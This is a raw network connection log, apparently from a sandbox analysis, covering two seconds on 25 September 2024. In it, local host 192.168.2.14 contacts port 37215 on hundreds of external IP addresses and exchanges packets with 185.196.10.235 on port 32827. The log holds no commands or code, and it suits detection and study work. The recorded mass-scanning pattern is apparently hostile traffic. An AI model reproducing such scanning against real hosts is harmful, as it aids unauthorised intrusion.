Sep 25, 2024 14:14:12.518318892 CEST	37215	55954	41.70.223.81	192.168.2.14
Sep 25, 2024 14:14:12.518322945 CEST	37215	50796	197.211.174.27	192.168.2.14
Sep 25, 2024 14:14:12.518326044 CEST	37215	60812	197.85.20.91	192.168.2.14
Sep 25, 2024 14:14:12.518348932 CEST	50796	37215	192.168.2.14	197.211.174.27
Sep 25, 2024 14:14:12.518351078 CEST	55954	37215	192.168.2.14	41.70.223.81
Sep 25, 2024 14:14:12.518357038 CEST	50342	37215	192.168.2.14	41.14.114.34
Sep 25, 2024 14:14:12.518378973 CEST	60812	37215	192.168.2.14	197.85.20.91
Sep 25, 2024 14:14:12.518807888 CEST	37215	37534	41.217.97.239	192.168.2.14
Sep 25, 2024 14:14:12.518914938 CEST	37534	37215	192.168.2.14	41.217.97.239
Sep 25, 2024 14:14:12.519253969 CEST	55604	37215	192.168.2.14	156.59.45.78
Sep 25, 2024 14:14:12.520092964 CEST	53598	37215	192.168.2.14	41.234.48.19
Sep 25, 2024 14:14:12.520842075 CEST	49610	37215	192.168.2.14	197.45.117.209
Sep 25, 2024 14:14:12.521718025 CEST	53806	37215	192.168.2.14	41.39.208.35
Sep 25, 2024 14:14:12.521888018 CEST	37215	42568	197.17.158.253	192.168.2.14
Sep 25, 2024 14:14:12.521893978 CEST	37215	42636	197.76.33.3	192.168.2.14
Sep 25, 2024 14:14:12.521898031 CEST	37215	50086	41.14.114.34	192.168.2.14
Sep 25, 2024 14:14:12.521902084 CEST	37215	43716	41.155.176.52	192.168.2.14
Sep 25, 2024 14:14:12.521909952 CEST	37215	39832	156.169.23.31	192.168.2.14
Sep 25, 2024 14:14:12.522557974 CEST	57278	37215	192.168.2.14	156.77.1.208
Sep 25, 2024 14:14:12.523402929 CEST	55338	37215	192.168.2.14	41.143.93.195
Sep 25, 2024 14:14:12.524159908 CEST	60508	37215	192.168.2.14	197.211.244.130
Sep 25, 2024 14:14:12.525002003 CEST	39036	37215	192.168.2.14	41.131.201.238
Sep 25, 2024 14:14:12.525607109 CEST	32906	37215	192.168.2.14	41.87.166.42
Sep 25, 2024 14:14:12.525607109 CEST	32906	37215	192.168.2.14	41.87.166.42
Sep 25, 2024 14:14:12.525862932 CEST	33220	37215	192.168.2.14	41.87.166.42
Sep 25, 2024 14:14:12.526057005 CEST	37215	51040	156.2.239.14	192.168.2.14
Sep 25, 2024 14:14:12.526196003 CEST	47920	37215	192.168.2.14	41.11.24.157
Sep 25, 2024 14:14:12.526196003 CEST	47920	37215	192.168.2.14	41.11.24.157
Sep 25, 2024 14:14:12.526463985 CEST	48234	37215	192.168.2.14	41.11.24.157
Sep 25, 2024 14:14:12.526652098 CEST	37215	55698	41.70.223.81	192.168.2.14
Sep 25, 2024 14:14:12.526758909 CEST	41958	37215	192.168.2.14	197.59.27.190
Sep 25, 2024 14:14:12.526789904 CEST	41958	37215	192.168.2.14	197.59.27.190
Sep 25, 2024 14:14:12.527133942 CEST	42272	37215	192.168.2.14	197.59.27.190
Sep 25, 2024 14:14:12.527328014 CEST	42836	37215	192.168.2.14	41.254.136.7
Sep 25, 2024 14:14:12.527328014 CEST	42836	37215	192.168.2.14	41.254.136.7
Sep 25, 2024 14:14:12.527571917 CEST	43150	37215	192.168.2.14	41.254.136.7
Sep 25, 2024 14:14:12.527926922 CEST	48026	37215	192.168.2.14	197.212.59.163
Sep 25, 2024 14:14:12.527926922 CEST	48026	37215	192.168.2.14	197.212.59.163
Sep 25, 2024 14:14:12.528225899 CEST	48092	37215	192.168.2.14	197.212.59.163
Sep 25, 2024 14:14:12.528541088 CEST	37534	37215	192.168.2.14	41.217.97.239
Sep 25, 2024 14:14:12.528541088 CEST	37534	37215	192.168.2.14	41.217.97.239
Sep 25, 2024 14:14:12.528985023 CEST	37578	37215	192.168.2.14	41.217.97.239
Sep 25, 2024 14:14:12.529995918 CEST	37215	50540	197.211.174.27	192.168.2.14
Sep 25, 2024 14:14:12.530025959 CEST	37215	59126	197.159.134.131	192.168.2.14
Sep 25, 2024 14:14:12.530030012 CEST	37215	48540	41.104.163.68	192.168.2.14
Sep 25, 2024 14:14:12.530040026 CEST	37215	57780	156.0.246.2	192.168.2.14
Sep 25, 2024 14:14:12.531927109 CEST	37215	55338	41.143.93.195	192.168.2.14
Sep 25, 2024 14:14:12.531980038 CEST	55338	37215	192.168.2.14	41.143.93.195
Sep 25, 2024 14:14:12.532021999 CEST	55338	37215	192.168.2.14	41.143.93.195
Sep 25, 2024 14:14:12.532021999 CEST	55338	37215	192.168.2.14	41.143.93.195
Sep 25, 2024 14:14:12.532442093 CEST	55356	37215	192.168.2.14	41.143.93.195
Sep 25, 2024 14:14:12.533590078 CEST	37215	32906	41.87.166.42	192.168.2.14
Sep 25, 2024 14:14:12.534009933 CEST	37215	44932	41.123.151.76	192.168.2.14
Sep 25, 2024 14:14:12.534205914 CEST	37215	41522	197.156.198.167	192.168.2.14
Sep 25, 2024 14:14:12.534209967 CEST	37215	45856	156.16.94.219	192.168.2.14
Sep 25, 2024 14:14:12.535883904 CEST	37215	47920	41.11.24.157	192.168.2.14
Sep 25, 2024 14:14:12.535983086 CEST	37215	41958	197.59.27.190	192.168.2.14
Sep 25, 2024 14:14:12.535988092 CEST	37215	42836	41.254.136.7	192.168.2.14
Sep 25, 2024 14:14:12.537292004 CEST	37215	48026	197.212.59.163	192.168.2.14
Sep 25, 2024 14:14:12.537569046 CEST	37215	37534	41.217.97.239	192.168.2.14
Sep 25, 2024 14:14:12.538058043 CEST	37215	48068	41.203.219.24	192.168.2.14
Sep 25, 2024 14:14:12.538062096 CEST	37215	35076	41.75.134.209	192.168.2.14
Sep 25, 2024 14:14:12.538070917 CEST	37215	44262	156.196.69.185	192.168.2.14
Sep 25, 2024 14:14:12.538074017 CEST	37215	38276	156.113.97.1	192.168.2.14
Sep 25, 2024 14:14:12.541033983 CEST	37215	55338	41.143.93.195	192.168.2.14
Sep 25, 2024 14:14:12.541820049 CEST	37215	34432	156.188.18.156	192.168.2.14
Sep 25, 2024 14:14:12.541843891 CEST	37215	49670	156.165.179.233	192.168.2.14
Sep 25, 2024 14:14:12.541847944 CEST	37215	60556	197.85.20.91	192.168.2.14
Sep 25, 2024 14:14:12.542097092 CEST	37215	55356	41.143.93.195	192.168.2.14
Sep 25, 2024 14:14:12.542145967 CEST	55356	37215	192.168.2.14	41.143.93.195
Sep 25, 2024 14:14:12.542176008 CEST	55356	37215	192.168.2.14	41.143.93.195
Sep 25, 2024 14:14:12.546385050 CEST	37215	52382	41.119.194.26	192.168.2.14
Sep 25, 2024 14:14:12.546391964 CEST	37215	52706	156.225.72.240	192.168.2.14
Sep 25, 2024 14:14:12.546401978 CEST	37215	33780	41.135.24.40	192.168.2.14
Sep 25, 2024 14:14:12.546406031 CEST	37215	34430	197.74.234.63	192.168.2.14
Sep 25, 2024 14:14:12.552900076 CEST	37215	55356	41.143.93.195	192.168.2.14
Sep 25, 2024 14:14:12.553579092 CEST	55356	37215	192.168.2.14	41.143.93.195
Sep 25, 2024 14:14:12.554147959 CEST	37215	37210	156.23.38.211	192.168.2.14
Sep 25, 2024 14:14:12.554152966 CEST	37215	53922	197.7.86.235	192.168.2.14
Sep 25, 2024 14:14:12.581805944 CEST	37215	37534	41.217.97.239	192.168.2.14
Sep 25, 2024 14:14:12.581811905 CEST	37215	48026	197.212.59.163	192.168.2.14
Sep 25, 2024 14:14:12.581820965 CEST	37215	32906	41.87.166.42	192.168.2.14
Sep 25, 2024 14:14:12.581825972 CEST	37215	42836	41.254.136.7	192.168.2.14
Sep 25, 2024 14:14:12.581835032 CEST	37215	41958	197.59.27.190	192.168.2.14
Sep 25, 2024 14:14:12.581840038 CEST	37215	47920	41.11.24.157	192.168.2.14
Sep 25, 2024 14:14:12.582473993 CEST	37215	55338	41.143.93.195	192.168.2.14
Sep 25, 2024 14:14:12.828016996 CEST	37215	51866	197.8.254.42	192.168.2.14
Sep 25, 2024 14:14:12.828041077 CEST	37215	49178	197.7.143.124	192.168.2.14
Sep 25, 2024 14:14:12.828058004 CEST	37215	51866	197.8.254.42	192.168.2.14
Sep 25, 2024 14:14:12.828118086 CEST	51866	37215	192.168.2.14	197.8.254.42
Sep 25, 2024 14:14:12.828118086 CEST	51866	37215	192.168.2.14	197.8.254.42
Sep 25, 2024 14:14:12.828120947 CEST	49178	37215	192.168.2.14	197.7.143.124
Sep 25, 2024 14:14:12.835196972 CEST	37215	51866	197.8.254.42	192.168.2.14
Sep 25, 2024 14:14:13.050256014 CEST	32827	53094	185.196.10.235	192.168.2.14
Sep 25, 2024 14:14:13.051002979 CEST	53094	32827	192.168.2.14	185.196.10.235
Sep 25, 2024 14:14:13.059763908 CEST	32827	53094	185.196.10.235	192.168.2.14
Sep 25, 2024 14:14:13.494194984 CEST	48324	37215	192.168.2.14	41.203.219.24
Sep 25, 2024 14:14:13.494201899 CEST	35332	37215	192.168.2.14	41.75.134.209
Sep 25, 2024 14:14:13.494220972 CEST	45188	37215	192.168.2.14	41.123.151.76
Sep 25, 2024 14:14:13.494224072 CEST	49926	37215	192.168.2.14	156.165.179.233
Sep 25, 2024 14:14:13.494224072 CEST	41778	37215	192.168.2.14	197.156.198.167
Sep 25, 2024 14:14:13.494224072 CEST	59382	37215	192.168.2.14	197.159.134.131
Sep 25, 2024 14:14:13.494224072 CEST	48796	37215	192.168.2.14	41.104.163.68
Sep 25, 2024 14:14:13.494230032 CEST	46112	37215	192.168.2.14	156.16.94.219
Sep 25, 2024 14:14:13.494236946 CEST	38532	37215	192.168.2.14	156.113.97.1
Sep 25, 2024 14:14:13.494236946 CEST	58036	37215	192.168.2.14	156.0.246.2
Sep 25, 2024 14:14:13.494251966 CEST	44518	37215	192.168.2.14	156.196.69.185
Sep 25, 2024 14:14:13.494262934 CEST	51296	37215	192.168.2.14	156.2.239.14
Sep 25, 2024 14:14:13.500243902 CEST	37215	48324	41.203.219.24	192.168.2.14
Sep 25, 2024 14:14:13.500256062 CEST	37215	35332	41.75.134.209	192.168.2.14
Sep 25, 2024 14:14:13.500264883 CEST	37215	45188	41.123.151.76	192.168.2.14
Sep 25, 2024 14:14:13.500283003 CEST	37215	49926	156.165.179.233	192.168.2.14
Sep 25, 2024 14:14:13.500293970 CEST	37215	44518	156.196.69.185	192.168.2.14
Sep 25, 2024 14:14:13.500293970 CEST	48324	37215	192.168.2.14	41.203.219.24
Sep 25, 2024 14:14:13.500303984 CEST	37215	41778	197.156.198.167	192.168.2.14
Sep 25, 2024 14:14:13.500317097 CEST	45188	37215	192.168.2.14	41.123.151.76
Sep 25, 2024 14:14:13.500323057 CEST	37215	46112	156.16.94.219	192.168.2.14
Sep 25, 2024 14:14:13.500324965 CEST	35332	37215	192.168.2.14	41.75.134.209
Sep 25, 2024 14:14:13.500329971 CEST	44518	37215	192.168.2.14	156.196.69.185
Sep 25, 2024 14:14:13.500334024 CEST	37215	59382	197.159.134.131	192.168.2.14
Sep 25, 2024 14:14:13.500336885 CEST	41778	37215	192.168.2.14	197.156.198.167
Sep 25, 2024 14:14:13.500336885 CEST	49926	37215	192.168.2.14	156.165.179.233
Sep 25, 2024 14:14:13.500344992 CEST	37215	48796	41.104.163.68	192.168.2.14
Sep 25, 2024 14:14:13.500355005 CEST	37215	38532	156.113.97.1	192.168.2.14
Sep 25, 2024 14:14:13.500366926 CEST	37215	58036	156.0.246.2	192.168.2.14
Sep 25, 2024 14:14:13.500375986 CEST	37215	51296	156.2.239.14	192.168.2.14
Sep 25, 2024 14:14:13.500375986 CEST	46112	37215	192.168.2.14	156.16.94.219
Sep 25, 2024 14:14:13.500391960 CEST	48796	37215	192.168.2.14	41.104.163.68
Sep 25, 2024 14:14:13.500391960 CEST	59382	37215	192.168.2.14	197.159.134.131
Sep 25, 2024 14:14:13.500406027 CEST	58036	37215	192.168.2.14	156.0.246.2
Sep 25, 2024 14:14:13.500406027 CEST	38532	37215	192.168.2.14	156.113.97.1
Sep 25, 2024 14:14:13.500422955 CEST	45188	37215	192.168.2.14	41.123.151.76
Sep 25, 2024 14:14:13.500423908 CEST	35332	37215	192.168.2.14	41.75.134.209
Sep 25, 2024 14:14:13.500427008 CEST	51296	37215	192.168.2.14	156.2.239.14
Sep 25, 2024 14:14:13.500441074 CEST	48324	37215	192.168.2.14	41.203.219.24
Sep 25, 2024 14:14:13.500475883 CEST	63353	37215	192.168.2.14	197.116.25.249
Sep 25, 2024 14:14:13.500475883 CEST	63353	37215	192.168.2.14	156.62.166.162
Sep 25, 2024 14:14:13.500478983 CEST	63353	37215	192.168.2.14	156.114.186.147
Sep 25, 2024 14:14:13.500489950 CEST	63353	37215	192.168.2.14	156.228.108.249
Sep 25, 2024 14:14:13.500495911 CEST	63353	37215	192.168.2.14	156.194.223.116
Sep 25, 2024 14:14:13.500511885 CEST	63353	37215	192.168.2.14	197.10.1.245
Sep 25, 2024 14:14:13.500511885 CEST	63353	37215	192.168.2.14	41.164.78.5
Sep 25, 2024 14:14:13.500514984 CEST	63353	37215	192.168.2.14	156.9.75.254
Sep 25, 2024 14:14:13.500514984 CEST	63353	37215	192.168.2.14	156.96.234.250
Sep 25, 2024 14:14:13.500524044 CEST	63353	37215	192.168.2.14	156.83.245.124
Sep 25, 2024 14:14:13.500535965 CEST	63353	37215	192.168.2.14	41.223.187.66
Sep 25, 2024 14:14:13.500546932 CEST	63353	37215	192.168.2.14	197.146.186.227
Sep 25, 2024 14:14:13.500546932 CEST	63353	37215	192.168.2.14	197.86.189.29
Sep 25, 2024 14:14:13.500549078 CEST	63353	37215	192.168.2.14	41.187.143.200
Sep 25, 2024 14:14:13.500555992 CEST	63353	37215	192.168.2.14	197.57.47.6
Sep 25, 2024 14:14:13.500580072 CEST	63353	37215	192.168.2.14	156.94.174.92
Sep 25, 2024 14:14:13.500580072 CEST	63353	37215	192.168.2.14	41.46.151.131
Sep 25, 2024 14:14:13.500580072 CEST	63353	37215	192.168.2.14	156.62.193.26
Sep 25, 2024 14:14:13.500580072 CEST	63353	37215	192.168.2.14	197.192.88.118
Sep 25, 2024 14:14:13.500580072 CEST	63353	37215	192.168.2.14	156.101.5.7
Sep 25, 2024 14:14:13.500581980 CEST	63353	37215	192.168.2.14	156.85.107.170
Sep 25, 2024 14:14:13.500586987 CEST	63353	37215	192.168.2.14	156.222.104.69
Sep 25, 2024 14:14:13.500586987 CEST	63353	37215	192.168.2.14	197.207.144.177
Sep 25, 2024 14:14:13.500597000 CEST	63353	37215	192.168.2.14	41.162.180.78
Sep 25, 2024 14:14:13.500602961 CEST	63353	37215	192.168.2.14	156.100.83.140
Sep 25, 2024 14:14:13.500602961 CEST	63353	37215	192.168.2.14	156.139.7.170
Sep 25, 2024 14:14:13.500607967 CEST	63353	37215	192.168.2.14	156.242.48.41
Sep 25, 2024 14:14:13.500607967 CEST	63353	37215	192.168.2.14	156.138.33.103
Sep 25, 2024 14:14:13.500610113 CEST	63353	37215	192.168.2.14	41.118.34.153
Sep 25, 2024 14:14:13.500631094 CEST	63353	37215	192.168.2.14	41.56.131.61
Sep 25, 2024 14:14:13.500639915 CEST	63353	37215	192.168.2.14	41.30.40.26
Sep 25, 2024 14:14:13.500639915 CEST	63353	37215	192.168.2.14	156.130.48.53
Sep 25, 2024 14:14:13.500655890 CEST	63353	37215	192.168.2.14	197.239.217.207
Sep 25, 2024 14:14:13.500658035 CEST	63353	37215	192.168.2.14	156.243.96.120
Sep 25, 2024 14:14:13.500658035 CEST	63353	37215	192.168.2.14	197.123.20.78
Sep 25, 2024 14:14:13.500658989 CEST	63353	37215	192.168.2.14	197.222.255.145
Sep 25, 2024 14:14:13.500660896 CEST	63353	37215	192.168.2.14	41.225.63.239
Sep 25, 2024 14:14:13.500660896 CEST	63353	37215	192.168.2.14	41.205.120.166
Sep 25, 2024 14:14:13.500660896 CEST	63353	37215	192.168.2.14	156.163.166.235
Sep 25, 2024 14:14:13.500664949 CEST	63353	37215	192.168.2.14	156.229.29.51
Sep 25, 2024 14:14:13.500667095 CEST	63353	37215	192.168.2.14	156.136.211.71
Sep 25, 2024 14:14:13.500673056 CEST	63353	37215	192.168.2.14	197.111.167.51
Sep 25, 2024 14:14:13.500674009 CEST	63353	37215	192.168.2.14	41.220.146.194
Sep 25, 2024 14:14:13.500679016 CEST	63353	37215	192.168.2.14	156.206.182.162
Sep 25, 2024 14:14:13.500679016 CEST	63353	37215	192.168.2.14	41.196.160.39
Sep 25, 2024 14:14:13.500684023 CEST	63353	37215	192.168.2.14	197.137.43.136
Sep 25, 2024 14:14:13.500696898 CEST	63353	37215	192.168.2.14	156.51.49.93
Sep 25, 2024 14:14:13.500703096 CEST	63353	37215	192.168.2.14	156.82.105.217
Sep 25, 2024 14:14:13.500710011 CEST	63353	37215	192.168.2.14	41.89.131.221
Sep 25, 2024 14:14:13.500711918 CEST	63353	37215	192.168.2.14	197.211.187.23
Sep 25, 2024 14:14:13.500720024 CEST	63353	37215	192.168.2.14	197.156.215.213
Sep 25, 2024 14:14:13.500730038 CEST	63353	37215	192.168.2.14	41.200.165.86
Sep 25, 2024 14:14:13.500730991 CEST	63353	37215	192.168.2.14	41.202.147.229
Sep 25, 2024 14:14:13.500730991 CEST	63353	37215	192.168.2.14	41.151.31.9
Sep 25, 2024 14:14:13.500732899 CEST	63353	37215	192.168.2.14	41.138.22.129
Sep 25, 2024 14:14:13.500732899 CEST	63353	37215	192.168.2.14	156.47.193.228
Sep 25, 2024 14:14:13.500741959 CEST	63353	37215	192.168.2.14	197.168.206.106
Sep 25, 2024 14:14:13.500742912 CEST	63353	37215	192.168.2.14	197.179.45.104
Sep 25, 2024 14:14:13.500755072 CEST	63353	37215	192.168.2.14	41.32.128.235
Sep 25, 2024 14:14:13.500766993 CEST	63353	37215	192.168.2.14	156.78.176.151
Sep 25, 2024 14:14:13.500768900 CEST	63353	37215	192.168.2.14	197.234.26.181
Sep 25, 2024 14:14:13.500768900 CEST	63353	37215	192.168.2.14	197.213.126.196
Sep 25, 2024 14:14:13.500771046 CEST	63353	37215	192.168.2.14	156.250.124.27
Sep 25, 2024 14:14:13.500777006 CEST	63353	37215	192.168.2.14	156.66.158.131
Sep 25, 2024 14:14:13.500778913 CEST	63353	37215	192.168.2.14	41.40.105.169
Sep 25, 2024 14:14:13.500781059 CEST	63353	37215	192.168.2.14	41.145.50.243
Sep 25, 2024 14:14:13.500787020 CEST	63353	37215	192.168.2.14	197.13.50.174
Sep 25, 2024 14:14:13.500787020 CEST	63353	37215	192.168.2.14	41.0.66.167
Sep 25, 2024 14:14:13.500787020 CEST	63353	37215	192.168.2.14	41.251.86.183
Sep 25, 2024 14:14:13.500792027 CEST	63353	37215	192.168.2.14	156.161.174.59
Sep 25, 2024 14:14:13.500792980 CEST	63353	37215	192.168.2.14	156.6.55.12
Sep 25, 2024 14:14:13.500792980 CEST	63353	37215	192.168.2.14	156.138.102.83
Sep 25, 2024 14:14:13.500792980 CEST	63353	37215	192.168.2.14	41.210.218.248
Sep 25, 2024 14:14:13.500807047 CEST	63353	37215	192.168.2.14	197.194.118.20
Sep 25, 2024 14:14:13.500809908 CEST	63353	37215	192.168.2.14	156.15.110.52
Sep 25, 2024 14:14:13.500809908 CEST	63353	37215	192.168.2.14	41.126.4.16
Sep 25, 2024 14:14:13.500816107 CEST	63353	37215	192.168.2.14	41.156.21.254
Sep 25, 2024 14:14:13.500832081 CEST	63353	37215	192.168.2.14	156.87.246.107
Sep 25, 2024 14:14:13.500834942 CEST	63353	37215	192.168.2.14	197.102.171.153
Sep 25, 2024 14:14:13.500834942 CEST	63353	37215	192.168.2.14	156.160.181.179
Sep 25, 2024 14:14:13.500835896 CEST	63353	37215	192.168.2.14	197.137.27.83
Sep 25, 2024 14:14:13.500837088 CEST	63353	37215	192.168.2.14	197.236.232.139
Sep 25, 2024 14:14:13.500837088 CEST	63353	37215	192.168.2.14	197.216.45.82
Sep 25, 2024 14:14:13.500854015 CEST	63353	37215	192.168.2.14	156.36.170.113
Sep 25, 2024 14:14:13.500854015 CEST	63353	37215	192.168.2.14	156.63.92.27
Sep 25, 2024 14:14:13.500859976 CEST	63353	37215	192.168.2.14	156.2.219.176
Sep 25, 2024 14:14:13.500859976 CEST	63353	37215	192.168.2.14	197.70.167.138
Sep 25, 2024 14:14:13.500869036 CEST	63353	37215	192.168.2.14	197.107.229.2
Sep 25, 2024 14:14:13.500874043 CEST	63353	37215	192.168.2.14	197.183.238.24
Sep 25, 2024 14:14:13.500879049 CEST	63353	37215	192.168.2.14	197.1.104.5
Sep 25, 2024 14:14:13.500879049 CEST	63353	37215	192.168.2.14	197.179.26.100
Sep 25, 2024 14:14:13.500889063 CEST	63353	37215	192.168.2.14	41.35.31.61
Sep 25, 2024 14:14:13.500890017 CEST	63353	37215	192.168.2.14	156.16.148.165
Sep 25, 2024 14:14:13.500889063 CEST	63353	37215	192.168.2.14	156.44.164.154
Sep 25, 2024 14:14:13.500894070 CEST	63353	37215	192.168.2.14	197.120.67.215
Sep 25, 2024 14:14:13.500889063 CEST	63353	37215	192.168.2.14	197.100.27.157
Sep 25, 2024 14:14:13.500901937 CEST	63353	37215	192.168.2.14	156.12.185.217
Sep 25, 2024 14:14:13.500906944 CEST	63353	37215	192.168.2.14	197.224.136.187
Sep 25, 2024 14:14:13.500907898 CEST	63353	37215	192.168.2.14	41.127.185.227
Sep 25, 2024 14:14:13.500910997 CEST	63353	37215	192.168.2.14	41.75.68.152
Sep 25, 2024 14:14:13.500912905 CEST	63353	37215	192.168.2.14	156.74.7.37
Sep 25, 2024 14:14:13.500912905 CEST	63353	37215	192.168.2.14	156.199.232.254
Sep 25, 2024 14:14:13.500921011 CEST	63353	37215	192.168.2.14	156.222.3.2
Sep 25, 2024 14:14:13.500921011 CEST	63353	37215	192.168.2.14	156.162.77.82
Sep 25, 2024 14:14:13.500940084 CEST	63353	37215	192.168.2.14	156.64.71.115
Sep 25, 2024 14:14:13.500941992 CEST	63353	37215	192.168.2.14	197.147.89.187
Sep 25, 2024 14:14:13.500945091 CEST	63353	37215	192.168.2.14	197.43.21.53
Sep 25, 2024 14:14:13.500953913 CEST	63353	37215	192.168.2.14	156.151.65.255
Sep 25, 2024 14:14:13.500967026 CEST	63353	37215	192.168.2.14	156.80.211.115
Sep 25, 2024 14:14:13.500967979 CEST	63353	37215	192.168.2.14	197.81.195.117
Sep 25, 2024 14:14:13.500968933 CEST	63353	37215	192.168.2.14	197.66.16.48
Sep 25, 2024 14:14:13.500968933 CEST	63353	37215	192.168.2.14	197.230.108.78
Sep 25, 2024 14:14:13.500968933 CEST	63353	37215	192.168.2.14	41.36.175.98
Sep 25, 2024 14:14:13.500977039 CEST	63353	37215	192.168.2.14	197.15.78.204
Sep 25, 2024 14:14:13.500981092 CEST	63353	37215	192.168.2.14	156.141.169.248
Sep 25, 2024 14:14:13.500981092 CEST	63353	37215	192.168.2.14	156.110.40.141
Sep 25, 2024 14:14:13.500991106 CEST	63353	37215	192.168.2.14	197.116.22.58
Sep 25, 2024 14:14:13.501000881 CEST	63353	37215	192.168.2.14	156.2.42.24
Sep 25, 2024 14:14:13.501002073 CEST	63353	37215	192.168.2.14	197.254.180.167
Sep 25, 2024 14:14:13.501003981 CEST	63353	37215	192.168.2.14	156.23.193.130
Sep 25, 2024 14:14:13.501003981 CEST	63353	37215	192.168.2.14	156.160.70.108
Sep 25, 2024 14:14:13.501027107 CEST	63353	37215	192.168.2.14	41.204.212.136
Sep 25, 2024 14:14:13.501034021 CEST	63353	37215	192.168.2.14	156.118.100.64
Sep 25, 2024 14:14:13.501034021 CEST	63353	37215	192.168.2.14	41.159.16.135
Sep 25, 2024 14:14:13.501036882 CEST	63353	37215	192.168.2.14	41.67.98.245
Sep 25, 2024 14:14:13.501055002 CEST	63353	37215	192.168.2.14	197.61.9.198
Sep 25, 2024 14:14:13.501055002 CEST	63353	37215	192.168.2.14	156.252.99.101
Sep 25, 2024 14:14:13.501059055 CEST	63353	37215	192.168.2.14	41.200.225.85
Sep 25, 2024 14:14:13.501061916 CEST	63353	37215	192.168.2.14	156.29.71.244
Sep 25, 2024 14:14:13.501072884 CEST	63353	37215	192.168.2.14	197.251.168.59
Sep 25, 2024 14:14:13.501072884 CEST	63353	37215	192.168.2.14	197.197.200.158
Sep 25, 2024 14:14:13.501077890 CEST	63353	37215	192.168.2.14	197.238.44.147
Sep 25, 2024 14:14:13.501077890 CEST	63353	37215	192.168.2.14	156.46.69.109
Sep 25, 2024 14:14:13.501077890 CEST	63353	37215	192.168.2.14	156.53.170.17
Sep 25, 2024 14:14:13.501077890 CEST	63353	37215	192.168.2.14	41.148.42.61
Sep 25, 2024 14:14:13.501077890 CEST	63353	37215	192.168.2.14	41.145.152.216
Sep 25, 2024 14:14:13.501091957 CEST	63353	37215	192.168.2.14	197.68.204.30
Sep 25, 2024 14:14:13.501096010 CEST	63353	37215	192.168.2.14	41.243.195.11
Sep 25, 2024 14:14:13.501102924 CEST	63353	37215	192.168.2.14	156.78.158.7
Sep 25, 2024 14:14:13.501102924 CEST	63353	37215	192.168.2.14	156.173.236.250
Sep 25, 2024 14:14:13.501111984 CEST	63353	37215	192.168.2.14	41.100.172.109
Sep 25, 2024 14:14:13.501111984 CEST	63353	37215	192.168.2.14	156.90.210.90
Sep 25, 2024 14:14:13.501111984 CEST	63353	37215	192.168.2.14	41.193.7.131
Sep 25, 2024 14:14:13.501127958 CEST	63353	37215	192.168.2.14	197.187.173.68
Sep 25, 2024 14:14:13.501131058 CEST	63353	37215	192.168.2.14	156.248.244.52
Sep 25, 2024 14:14:13.501146078 CEST	63353	37215	192.168.2.14	156.194.187.134
Sep 25, 2024 14:14:13.501151085 CEST	63353	37215	192.168.2.14	156.64.210.84
Sep 25, 2024 14:14:13.501151085 CEST	63353	37215	192.168.2.14	41.51.142.47
Sep 25, 2024 14:14:13.501161098 CEST	63353	37215	192.168.2.14	156.217.169.110
Sep 25, 2024 14:14:13.501161098 CEST	63353	37215	192.168.2.14	156.173.153.36
Sep 25, 2024 14:14:13.501168966 CEST	63353	37215	192.168.2.14	156.177.30.11
Sep 25, 2024 14:14:13.501171112 CEST	63353	37215	192.168.2.14	197.226.170.111
Sep 25, 2024 14:14:13.501173973 CEST	63353	37215	192.168.2.14	41.25.21.249
Sep 25, 2024 14:14:13.501179934 CEST	63353	37215	192.168.2.14	156.40.4.1
Sep 25, 2024 14:14:13.501188040 CEST	63353	37215	192.168.2.14	41.114.224.243
Sep 25, 2024 14:14:13.501189947 CEST	63353	37215	192.168.2.14	156.239.66.49
Sep 25, 2024 14:14:13.501189947 CEST	63353	37215	192.168.2.14	197.124.136.30
Sep 25, 2024 14:14:13.501192093 CEST	63353	37215	192.168.2.14	156.46.221.65
Sep 25, 2024 14:14:13.501195908 CEST	63353	37215	192.168.2.14	41.124.73.28
Sep 25, 2024 14:14:13.501195908 CEST	63353	37215	192.168.2.14	156.108.50.61
Sep 25, 2024 14:14:13.501333952 CEST	51296	37215	192.168.2.14	156.2.239.14
Sep 25, 2024 14:14:13.501336098 CEST	48796	37215	192.168.2.14	41.104.163.68
Sep 25, 2024 14:14:13.501336098 CEST	59382	37215	192.168.2.14	197.159.134.131
Sep 25, 2024 14:14:13.501342058 CEST	46112	37215	192.168.2.14	156.16.94.219
Sep 25, 2024 14:14:13.501362085 CEST	44518	37215	192.168.2.14	156.196.69.185
Sep 25, 2024 14:14:13.501363993 CEST	58036	37215	192.168.2.14	156.0.246.2
Sep 25, 2024 14:14:13.501363993 CEST	38532	37215	192.168.2.14	156.113.97.1
Sep 25, 2024 14:14:13.501365900 CEST	41778	37215	192.168.2.14	197.156.198.167
Sep 25, 2024 14:14:13.501365900 CEST	49926	37215	192.168.2.14	156.165.179.233
Sep 25, 2024 14:14:13.505753040 CEST	37215	63353	197.116.25.249	192.168.2.14
Sep 25, 2024 14:14:13.505772114 CEST	37215	63353	156.114.186.147	192.168.2.14
Sep 25, 2024 14:14:13.505785942 CEST	37215	63353	156.62.166.162	192.168.2.14
Sep 25, 2024 14:14:13.505799055 CEST	37215	63353	156.228.108.249	192.168.2.14
Sep 25, 2024 14:14:13.505810976 CEST	37215	63353	156.194.223.116	192.168.2.14
Sep 25, 2024 14:14:13.505810976 CEST	63353	37215	192.168.2.14	197.116.25.249
Sep 25, 2024 14:14:13.505832911 CEST	37215	63353	156.9.75.254	192.168.2.14
Sep 25, 2024 14:14:13.505845070 CEST	63353	37215	192.168.2.14	156.228.108.249
Sep 25, 2024 14:14:13.505846024 CEST	37215	63353	156.96.234.250	192.168.2.14
Sep 25, 2024 14:14:13.505858898 CEST	37215	63353	197.10.1.245	192.168.2.14
Sep 25, 2024 14:14:13.505866051 CEST	63353	37215	192.168.2.14	156.62.166.162
Sep 25, 2024 14:14:13.505866051 CEST	63353	37215	192.168.2.14	156.9.75.254
Sep 25, 2024 14:14:13.505875111 CEST	63353	37215	192.168.2.14	156.194.223.116
Sep 25, 2024 14:14:13.505878925 CEST	63353	37215	192.168.2.14	156.114.186.147
Sep 25, 2024 14:14:13.505896091 CEST	37215	63353	156.83.245.124	192.168.2.14
Sep 25, 2024 14:14:13.505897999 CEST	63353	37215	192.168.2.14	197.10.1.245
Sep 25, 2024 14:14:13.505907059 CEST	37215	63353	41.164.78.5	192.168.2.14
Sep 25, 2024 14:14:13.505917072 CEST	37215	63353	41.223.187.66	192.168.2.14
Sep 25, 2024 14:14:13.505924940 CEST	37215	48324	41.203.219.24	192.168.2.14
Sep 25, 2024 14:14:13.505934000 CEST	37215	35332	41.75.134.209	192.168.2.14
Sep 25, 2024 14:14:13.505940914 CEST	63353	37215	192.168.2.14	156.83.245.124
Sep 25, 2024 14:14:13.505942106 CEST	63353	37215	192.168.2.14	156.96.234.250
